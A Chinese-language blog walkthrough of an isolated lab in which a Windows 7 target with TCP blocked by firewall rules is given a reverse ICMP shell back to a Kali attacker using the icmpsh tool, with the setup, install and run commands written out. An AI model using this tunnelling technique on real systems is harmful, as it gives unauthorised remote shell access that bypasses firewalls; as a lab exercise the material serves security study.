ICMP隧道技术 - icmpsh

该博客详细介绍了如何在Kali Linux和Windows 7之间创建一个仅允许ICMP通信的环境,禁止TCP连接。通过设置防火墙规则,确保两台机器无法通过TCP进行通信。然后,博主展示了如何使用icmpsh工具建立一个ICMP隧道,实现从Win7到Kali的远程shell连接。整个过程包括了环境配置、规则设定、软件安装及隧道建立的步骤。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

环境

攻击机:kali 2021 

网卡:桥接模式

ip 地址:192.168.0.150

目标机:win7

网卡:桥接模式

ip 地址:192.168.0.108

环境准备

搭建一个环境:攻击机和目标机互相无法 TCP 连接,只能 ICMP ping 的环境。

win7

防火墙启用 ICMP 入站规则(公网): 

创建屏蔽 TCP 所有端口的入站规则和出站规则,并启用:

入站规则 - 屏蔽TCP
入站规则 - 屏蔽TCP

出站规则 - 屏蔽TCP标题

开启远程桌面连接,等会用 kali 攻击机测试是否真的无法 TCP 连接 win7 目标机,而只能 ping 它:

准备阶段测试

kali ping win7:

win7 ping kali:

 用 telnet 测试 kali 是否能 TCP 连接 win7 的 3389。结果为无法连接: 

要测试 win7 是否能 TCP 连接 kali 的话,可以先在 kali 用 python 开启 http 服务:

 然后在 win7 用浏览器访问这个服务,结果为无法连接:

安装 icmpsh

下载 icmpsh

github:GitHub - bdamele/icmpsh: Simple reverse ICMP shell

kali 直接用 git 下不动,所以我到 github 下载 zip 包并解压:

unzip icmpsh-master.zip

icmpsh 有 C、Perl 和 python 三个版本,默认在 run.sh 脚本运行的是 python 版本,并且是 python 2.7。直接运行 run.sh 会有问题,所以要改改 run.sh 脚本。此外,要下载它需要适用于 python2.7 的 impacket 包。

修改 run.sh

(1)先执行 python 命令看一下执行的是哪个 python 版本:

(2)如果是 python 2.7,那就跳过“修改 run.sh 脚本”这一步。如果你跟我一样是 python 3.x,那就修改一下 run.sh 第 44 行的 “python” 为 “python2”。

(3)还有,kali 的 ifconfig 命令显示的信息跟其他 linux 版本不一样,所以要改改 run.sh 的 2 条语句:

安装 impacket

因为 apt 源已经没有 python 2 的 impacket,直接 pip 是给 python 3 安装的(不知道怎么给 python 2 安装...),所以到 PyPi 库下载:impacket · PyPI,往下拉可以看到: 

下载、解压、安装:

tar -zxf impacket-0.9.19.tar.gz
cd impacket-0.9.19
python2 setup.py install

PS:python 自带的库在 /usr/lib/,第三方库安装在 /usr/local/lib/。

反弹 ICMP 隧道 shell

 kali 运行 run.sh:

输入 win7 目标机的 IP 地址,回车就会进入监听状态:

 在 win7 目标机运行 icmpsh.exe:icmp.exe -t 192.168.0.150。

再看 kali 这边: 

 反弹成功。

其他

其实直接用 python 脚本:

python2 icmpsh_m.py 192.168.0.150 192.168.0.108

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值